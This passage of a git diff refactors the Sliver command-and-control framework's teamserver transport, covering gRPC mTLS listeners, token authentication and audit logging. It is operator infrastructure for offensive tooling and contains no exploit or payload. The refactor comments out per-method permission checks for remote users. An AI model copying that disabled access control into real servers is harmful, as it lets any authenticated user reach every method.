+ Commit: version.GitCommit, + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// GetUsers returns the list of teamserver users and their status. +func (ts *Server) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + // Fetch users from the teamserver user database. + users, err := ts.team.Users() + + userspb := make([]*clientpb.User, len(users)) + for i, user := range users { + userspb[i] = &clientpb.User{ + Name: user.Name, + Online: isOperatorOnline(user.Name), + LastSeen: user.LastSeen.Unix(), + Clients: int32(user.Clients), + } + } + + return &clientpb.Users{Users: userspb}, err +} + +func isOperatorOnline(commonName string) bool { + for _, operator := range core.Clients.ActiveOperators() { + if commonName == operator { + return true + } + } + return false +} diff --git a/server/rpc/rpc.go b/server/rpc/rpc.go index 2f225cbf7e..6ad2b76bf2 100644 --- a/server/rpc/rpc.go +++ b/server/rpc/rpc.go @@ -21,27 +21,25 @@ package rpc import ( "context" "errors" - "runtime" - "strings" "time" - "github.com/bishopfox/sliver/client/version" - "github.com/bishopfox/sliver/protobuf/clientpb" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/peer" + "google.golang.org/protobuf/proto" + "google.golang.org/protobuf/reflect/protoreflect" + + "github.com/kballard/go-shellquote" + "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/log" - "google.golang.org/grpc/credentials" - "google.golang.org/grpc/peer" - "google.golang.org/protobuf/proto" - "google.golang.org/protobuf/reflect/protoreflect" + "github.com/reeflective/team/server" ) -var ( - rpcLog = log.NamedLogger("rpc", "server") -) +var rpcLog = log.NamedLogger("rpc", "server") const ( minTimeout = time.Duration(30 * time.Second) @@ -49,6 +47,10 @@ const ( // Server - gRPC server type Server struct { + // Access all teamclient/teamserver base stuff. + // Users, credentials, server configs, loggers, etc. + team *server.Server + // Magical methods to break backwards compatibility // Here be dragons: https://github.com/grpc/grpc-go/issues/3794 rpcpb.UnimplementedSliverRPCServer @@ -75,26 +77,9 @@ type GenericResponse interface { } // NewServer - Create new server instance -func NewServer() *Server { +func NewServer(team *server.Server) *Server { core.StartEventAutomation() - return &Server{} -} - -// GetVersion - Get the server version -func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) { - dirty := version.GitDirty != "" - semVer := version.SemanticVersion() - compiled, _ := version.Compiled() - return &clientpb.Version{ - Major: int32(semVer[0]), - Minor: int32(semVer[1]), - Patch: int32(semVer[2]), - Commit: version.GitCommit, - Dirty: dirty, - CompiledAt: compiled.Unix(), - OS: runtime.GOOS, - Arch: runtime.GOARCH, - }, nil + return &Server{team: team} } // GenericHandler - Pass the request to the Sliver/Session @@ -164,9 +149,13 @@ func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse) rpcLog.Errorf("Database error: %s", err) return ErrDatabaseFailure } - parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".") - name := parts[len(parts)-1] - task.Description = name + // Save the command-line being ran as description instead, and preserve quoting. + // Currently this is not optimal, as it uses a UNIX-style quoter. I've found + // other packages that handle all operating systems, such as https://github.com/apparentlymart/go-shquot. + task.Description = shellquote.Join(request.GetCmdLine()...) + // parts := strings.Split(string(req.ProtoReflect().Descriptor().FullName().Name()), ".") + // name := parts[len(parts)-1] + err = db.Session().Save(task).Error if err != nil { rpcLog.Errorf("Database error: %s", err) diff --git a/server/transport/local.go b/server/transport/local.go deleted file mode 100644 index fa210ddea8..0000000000 --- a/server/transport/local.go +++ /dev/null @@ -1,63 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "runtime/debug" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" - "google.golang.org/grpc" - "google.golang.org/grpc/test/bufconn" -) - -const bufSize = 2 * mb - -var ( - bufConnLog = log.NamedLogger("transport", "local") -) - -// LocalListener - Bind gRPC server to an in-memory listener, which is -// typically used for unit testing, but ... it should be fine -func LocalListener() (*grpc.Server, *bufconn.Listener, error) { - bufConnLog.Infof("Binding gRPC/bufconn to listener ...") - ln := bufconn.Listen(bufSize) - options := []grpc.ServerOption{ - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(false)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - bufConnLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - bufConnLog.Fatalf("gRPC local listener error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil -} diff --git a/server/transport/middleware.go b/server/transport/middleware.go index a9c9964557..75f839a82b 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -1,36 +1,30 @@ package transport /* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ import ( "context" - "crypto/sha256" - "encoding/hex" "encoding/json" - "sync" + "errors" + + "github.com/reeflective/team/server" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" - "github.com/bishopfox/sliver/server/log" grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" @@ -40,106 +34,167 @@ import ( "google.golang.org/grpc/credentials" "google.golang.org/grpc/peer" "google.golang.org/grpc/status" -) -var ( - serverConfig = configs.GetServerConfig() - middlewareLog = log.NamedLogger("transport", "middleware") + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/db/models" ) -type contextKey int +// bufferingOptions returns a list of server options with max send/receive +// message size, which value is that of the ServerMaxMessageSize variable (2GB). +func bufferingOptions() (options []grpc.ServerOption) { + options = append(options, + grpc.MaxRecvMsgSize(ServerMaxMessageSize), + grpc.MaxSendMsgSize(ServerMaxMessageSize), + ) -const ( - Transport contextKey = iota - Operator -) + return +} + +// logMiddlewareOptions is a set of logging middleware options +// preconfigured to perform the following tasks: +// - Log all connections/disconnections to/from the teamserver listener. +// - Log all raw client requests into a teamserver audit file (see server.AuditLog()). +func logMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor + + cfg := s.GetConfig() -// initMiddleware - Initialize middleware -func initMiddleware(enableAuth bool) []grpc.ServerOption { - logrusEntry := log.NamedLogger("transport", "grpc") + // Audit-log all requests. Any failure to audit-log the requests + // of this server will themselves be logged to the root teamserver log. + auditLog, err := s.AuditLogger() + if err != nil { + return nil, err + } + + requestOpts = append(requestOpts, auditLogUnaryServerInterceptor(s, auditLog)) + + requestOpts = append(requestOpts, + grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + streamOpts = append(streamOpts, + grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + // Logging interceptors + logrusEntry := s.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ grpc_logrus.WithLevels(codeToLevel), } + grpc_logrus.ReplaceGrpcLogger(logrusEntry) - if enableAuth { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(tokenAuthFunc), - permissionsUnaryServerInterceptor(), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(tokenAuthFunc), - permissionsStreamServerInterceptor(), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } - } else { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(serverAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(serverAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } + + requestOpts = append(requestOpts, + grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCUnaryPayloads + }), + ) + + streamOpts = append(streamOpts, + grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCStreamPayloads + }), + ) + + return []grpc.ServerOption{ + grpc.ChainUnaryInterceptor(requestOpts...), + grpc.ChainStreamInterceptor(streamOpts...), + }, nil +} + +// tlsAuthMiddlewareOptions is a set of transport security options which will use +// the preconfigured teamserver TLS (credentials) configuration to authenticate +// incoming client connections. The authentication is Mutual TLS, used because +// all teamclients will connect with a known TLS credentials set. +func tlsAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var options []grpc.ServerOption + + tlsConfig, err := s.UsersTLSConfig() + if err != nil { + return nil, err } + creds := credentials.NewTLS(tlsConfig) + options = append(options, grpc.Creds(creds)) + + return options, nil } -var ( - tokenCache = sync.Map{} -) +// initAuthMiddleware - Initialize middleware logger. +func (ts *teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor + + // Authentication interceptors. + if ts.conn == nil { + // All remote connections are users who need authentication. + requestOpts = append(requestOpts, + // ts.permissionsUnaryServerInterceptor(), + grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc), + ) + + streamOpts = append(streamOpts, + // ts.permissionsStreamServerInterceptor(), + grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc), + ) + } else { + // Local in-memory connections have no auth. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(serverAuthFunc), + ) + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(serverAuthFunc), + ) + } -// ClearTokenCache - Clear the auth token cache -func ClearTokenCache() { - tokenCache = sync.Map{} + // Return middleware for all requests and stream interactions in gRPC. + return []grpc.ServerOption{ + grpc.ChainUnaryInterceptor(requestOpts...), + grpc.ChainStreamInterceptor(streamOpts...), + }, nil } +type contextKey int + +const ( + Transport contextKey = iota + Operator +) + func serverAuthFunc(ctx context.Context) (context.Context, error) { newCtx := context.WithValue(ctx, Transport, "local") newCtx = context.WithValue(newCtx, Operator, "server") + return newCtx, nil } -func tokenAuthFunc(ctx context.Context) (context.Context, error) { - mtlsLog.Debugf("Auth interceptor checking operator token ...") +// tokenAuthFunc uses the core reeflective/team/server to authenticate user requests. +func (ts *teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { + log := ts.NamedLogger("transport", "grpc") + log.Debugf("Auth interceptor checking user token ...") + rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") if err != nil { - mtlsLog.Errorf("Authentication failure: %s", err) + log.Errorf("Authentication failure: %s", err) return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - // Check auth cache - digest := sha256.Sum256([]byte(rawToken)) - token := hex.EncodeToString(digest[:]) - newCtx := context.WithValue(ctx, Transport, "mtls") - if op, ok := tokenCache.Load(token); ok { - mtlsLog.Debugf("Token in cache!") - newCtx = context.WithValue(newCtx, Operator, op.(*models.Operator)) - return newCtx, nil - } - operator, err := db.OperatorByToken(token) - if err != nil || operator == nil { - mtlsLog.Errorf("Authentication failure: %v", err) + // Let our core teamserver driver authenticate the user. + // The teamserver has its credentials, tokens and everything in database. + user, authorized, err := ts.UserAuthenticate(rawToken) + if err != nil || !authorized || user == "" { + log.Errorf("Authentication failure: %s", err) return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - mtlsLog.Debugf("Valid token for %s", operator.Name) - tokenCache.Store(token, operator) - newCtx = context.WithValue(newCtx, Operator, operator) + newCtx := context.WithValue(ctx, Transport, "mtls") + newCtx = context.WithValue(newCtx, Operator, user) + return newCtx, nil } @@ -173,8 +228,10 @@ var ( } ) -func permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor { +func (ts *teamserver) permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor { return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { + log := ts.NamedLogger("transport", "middleware") + operator := ctx.Value(Operator).(*models.Operator) if operator == nil { return nil, status.Error(codes.Unauthenticated, "Authentication failure") @@ -192,13 +249,15 @@ func permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor { return handler(ctx, req) } } - mtlsLog.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod) + log.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod) return nil, status.Error(codes.PermissionDenied, "Token has insufficient permissions") } } -func permissionsStreamServerInterceptor() grpc.StreamServerInterceptor { +func (ts *teamserver) permissionsStreamServerInterceptor() grpc.StreamServerInterceptor { return func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { + log := ts.NamedLogger("transport", "middleware") + operator := ss.Context().Value(Operator).(*models.Operator) if operator == nil { return status.Error(codes.Unauthenticated, "Authentication failure") @@ -216,61 +275,11 @@ func permissionsStreamServerInterceptor() grpc.StreamServerInterceptor { return handler(srv, ss) } } - mtlsLog.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod) + log.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod) return status.Error(codes.PermissionDenied, "Token has insufficient permissions") } } -func deciderUnary(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCUnaryPayloads -} - -func deciderStream(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCStreamPayloads -} - -// Maps a grpc response code to a logging level -func codeToLevel(code codes.Code) logrus.Level { - switch code { - case codes.OK: - return logrus.InfoLevel - case codes.Canceled: - return logrus.InfoLevel - case codes.Unknown: - return logrus.ErrorLevel - case codes.InvalidArgument: - return logrus.InfoLevel - case codes.DeadlineExceeded: - return logrus.WarnLevel - case codes.NotFound: - return logrus.InfoLevel - case codes.AlreadyExists: - return logrus.InfoLevel - case codes.PermissionDenied: - return logrus.WarnLevel - case codes.Unauthenticated: - return logrus.InfoLevel - case codes.ResourceExhausted: - return logrus.WarnLevel - case codes.FailedPrecondition: - return logrus.WarnLevel - case codes.Aborted: - return logrus.WarnLevel - case codes.OutOfRange: - return logrus.WarnLevel - case codes.Unimplemented: - return logrus.ErrorLevel - case codes.Internal: - return logrus.ErrorLevel - case codes.Unavailable: - return logrus.WarnLevel - case codes.DataLoss: - return logrus.ErrorLevel - default: - return logrus.ErrorLevel - } -} - type auditUnaryLogMsg struct { Request string `json:"request"` Method string `json:"method"` @@ -280,17 +289,20 @@ type auditUnaryLogMsg struct { User string `json:"user"` } -func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { +func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor { + log := ts.NamedLogger("grpc", "audit") + return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { rawRequest, err := json.Marshal(req) if err != nil { - middlewareLog.Errorf("Failed to serialize %s", err) + log.Errorf("Failed to serialize %s", err) return } - middlewareLog.Debugf("Raw request: %s", string(rawRequest)) - session, beacon, err := getActiveTarget(rawRequest) + + log.Debugf("Raw request: %s", string(rawRequest)) + session, beacon, err := getActiveTarget(log, rawRequest) if err != nil { - middlewareLog.Errorf("Middleware failed to insert details: %s", err) + log.Errorf("Middleware failed to insert details: %s", err) } p, _ := peer.FromContext(ctx) @@ -312,9 +324,10 @@ func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { } msgData, _ := json.Marshal(msg) - log.AuditLogger.Info(string(msgData)) + auditLog.Info(string(msgData)) resp, err := handler(ctx, req) + return resp, err } } @@ -333,8 +346,7 @@ func getUser(client *peer.Peer) string { return "" } -func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { - +func getActiveTarget(middlewareLog *logrus.Entry, rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { var activeBeacon *clientpb.Beacon var activeSession *clientpb.Session @@ -349,7 +361,10 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er return nil, nil, nil } - rpcRequest := request["Request"].(map[string]interface{}) + rpcRequest, ok := request["Request"].(map[string]interface{}) + if !ok { + return nil, nil, errors.New("Failed to cast RPC request to map[string]interface{}") + } middlewareLog.Debugf("RPC Request: %v", rpcRequest) @@ -357,7 +372,6 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er beaconID := rawBeaconID.(string) middlewareLog.Debugf("Found Beacon ID: %s", beaconID) beacon, err := db.BeaconByID(beaconID) - middlewareLog.Infof("query complete") if err != nil { middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err) } else if beacon != nil { @@ -376,3 +390,45 @@ func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, er return activeSession, activeBeacon, nil } + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/server/transport/mtls.go b/server/transport/mtls.go index 95b236b2d2..83a4d9352f 100644 --- a/server/transport/mtls.go +++ b/server/transport/mtls.go @@ -1,120 +1,123 @@ package transport /* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ import ( - "crypto/tls" - "crypto/x509" - "fmt" "net" - "runtime/debug" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" + "sync" "google.golang.org/grpc" - "google.golang.org/grpc/credentials" + "google.golang.org/grpc/test/bufconn" + + "github.com/reeflective/team/server" ) -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 +// teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it. +// This listener backend embeds a team/server.Server core driver and uses it for fetching +// server-side TLS configurations, use its loggers and access its database/users/list. +type teamserver struct { + *server.Server - // ServerMaxMessageSize - Server-side max GRPC message size - ServerMaxMessageSize = 2 * gb -) + options []grpc.ServerOption + conn *bufconn.Listener + mutex *sync.RWMutex +} -var ( - mtlsLog = log.NamedLogger("transport", "mtls") -) +// newTeamserverTLS returns a vanilla tcp+mtls gRPC teamserver listener backend. +// Developers: note that the teamserver type is already set with logging/ +// auth/middleware/buffering gRPC options. You can still override them. +func newTeamserverTLS(opts ...grpc.ServerOption) *teamserver { + listener := &teamserver{ + mutex: &sync.RWMutex{}, + options: bufferingOptions(), + } -// StartMtlsClientListener - Start a mutual TLS listener -func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listener, error) { - mtlsLog.Infof("Starting gRPC/mtls listener on %s:%d", host, port) + listener.options = append(listener.options, opts...) - tlsConfig := getOperatorServerTLSConfig("multiplayer") + return listener +} - creds := credentials.NewTLS(tlsConfig) - ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port)) - if err != nil { - mtlsLog.Error(err) - return nil, nil, err - } - options := []grpc.ServerOption{ - grpc.Creds(creds), - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(true)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - mtlsLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - mtlsLog.Warnf("gRPC server exited with error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil +// Name immplements team/server.Handler.Name(). +// It indicates the transport/rpc stack. +func (h *teamserver) Name() string { + return "gRPC/mTLS" } -// getOperatorServerTLSConfig - Generate the TLS configuration, we do now allow the end user -// to specify any TLS parameters, we choose sensible defaults instead -func getOperatorServerTLSConfig(host string) *tls.Config { - caCertPtr, _, err := certs.GetCertificateAuthority(certs.OperatorCA) +// Init implements team/server.Handler.Init(). +// It is used to initialize the listener with the correct TLS credentials +// middleware (or absence of if about to serve an in-memory connection). +func (h *teamserver) Init(team *server.Server) (err error) { + h.Server = team + + // Logging + logOptions, err := logMiddlewareOptions(h.Server) if err != nil { - mtlsLog.Fatalf("Invalid ca type (%s): %v", certs.OperatorCA, host) + return err } - caCertPool := x509.NewCertPool() - caCertPool.AddCert(caCertPtr) - _, _, err = certs.OperatorServerGetCertificate(host) - if err == certs.ErrCertDoesNotExist { - certs.OperatorServerGenerateCertificate(host) - } + h.options = append(h.options, logOptions...) - certPEM, keyPEM, err := certs.OperatorServerGetCertificate(host) + // Authentication/audit + authOptions, err := h.initAuthMiddleware() if err != nil { - mtlsLog.Errorf("Failed to generate or fetch certificate %s", err) - return nil - } - cert, err := tls.X509KeyPair(certPEM, keyPEM) - if err != nil { - mtlsLog.Fatalf("Error loading server certificate: %v", err) + return err } - tlsConfig := &tls.Config{ - RootCAs: caCertPool, - ClientAuth: tls.RequireAndVerifyClientCert, - ClientCAs: caCertPool, - Certificates: []tls.Certificate{cert}, - MinVersion: tls.VersionTLS13, + h.options = append(h.options, authOptions...) + + return nil +} + +// Listen implements team/server.Handler.Listen(). +// this teamserver uses a tcp+TLS (mutual) listener to serve remote clients. +func (h *teamserver) Listen(addr string) (ln net.Listener, err error) { + // In-memory connection are not authenticated. + if h.conn == nil { + ln, err = net.Listen("tcp", addr) + if err != nil { + return nil, err + } + + // Encryption. + tlsOptions, err := tlsAuthMiddlewareOptions(h.Server) + if err != nil { + return nil, err + } + + h.options = append(h.options, tlsOptions...) + } else { + h.mutex.Lock() + ln = h.conn + h.conn = nil + h.mutex.Unlock() } - return tlsConfig + h.serve(ln) + + return ln, nil +} + +// Close implements team/server.Handler.Close(). +// Original sliver never closes the gRPC HTTP server itself +// with server.Shutdown(), so here we don't close anything. +// Note that the listener itself is controled/closed by +// our core teamserver driver. +func (h *teamserver) Close() error { + return nil } diff --git a/server/transport/server.go b/server/transport/server.go new file mode 100644 index 0000000000..e0664235f1 --- /dev/null +++ b/server/transport/server.go @@ -0,0 +1,139 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "net" + "runtime/debug" + + "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" + "google.golang.org/grpc/test/bufconn" + + "github.com/reeflective/team/server" + + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/log" + "github.com/bishopfox/sliver/server/rpc" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + bufSize = 2 * mb + + // ServerMaxMessageSize - Server-side max GRPC message size. + ServerMaxMessageSize = 2*gb - 1 +) + +// NewTeamserver returns a Sliver teamserver ready to run and serve +// itself over either TCP+MTLS/gRPC, or Tailscale+MTLS/gRPC channels. +// The client options returned should be passed to an in-memory teamclient. +// All errors returned by this function are critical: the server can't work. +func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err error) { + tlsListener := newTeamserverTLS() + tailscaleListener := newTeamserverTailScale() + + // Here is an import step, where we are given a change to setup + // the reeflective/teamserver with everything we want: our own + // database, the application daemon default port, loggers or files, + // directories, and much more. + var serverOpts []server.Options + serverOpts = append(serverOpts, + // Core directories/loggers. + server.WithHomeDirectory(assets.GetRootAppDir()), // ~/.sliver/ + server.WithLogger(log.RootLogger), // Logs to ~/.sliver/logs/sliver.{log,json} and audit.json + server.WithDatabase(db.Client), // Uses our traditional ~/.sliver/sliver.db for storing users. + + // Network options/stacks + server.WithDefaultPort(31337), // Our now famous port. + server.WithListener(tlsListener), // Our legacy TCP+MTLS gRPC stack. + server.WithListener(tailscaleListener), // And our new Tailscale variant. + ) + + // Create the application teamserver. + // Any error is critical, and means we can't work correctly. + teamserver, err := server.New("sliver", serverOpts...) + if err != nil { + return nil, nil, err + } + + // The gRPC teamserver backend is hooked to produce a single + // in-memory teamclient RPC/dialer backend. Not encrypted. + return teamserver, clientOptionsFor(tlsListener), nil +} + +// clientOptionsFor requires an existing grpc Teamserver to create an in-memory connection. +// Those options are passed to the SliverClient constructor for setting up its own dialer. +// It returns a teamclient meant to be ran in memory, with TLS credentials disabled. +func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOption { + conn := bufconn.Listen(bufSize) + insecureCreds := insecure.NewCredentials() + + ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { + return conn.Dial() + }) + + opts = append(opts, []grpc.DialOption{ + ctxDialer, + grpc.WithTransportCredentials(insecureCreds), + }...) + + // The server will use this conn as a listener. + // The reference is dropped after server start. + server.conn = conn + + return opts +} + +// serve is the transport-agnostic routine to serve the gRPC server +// (and its 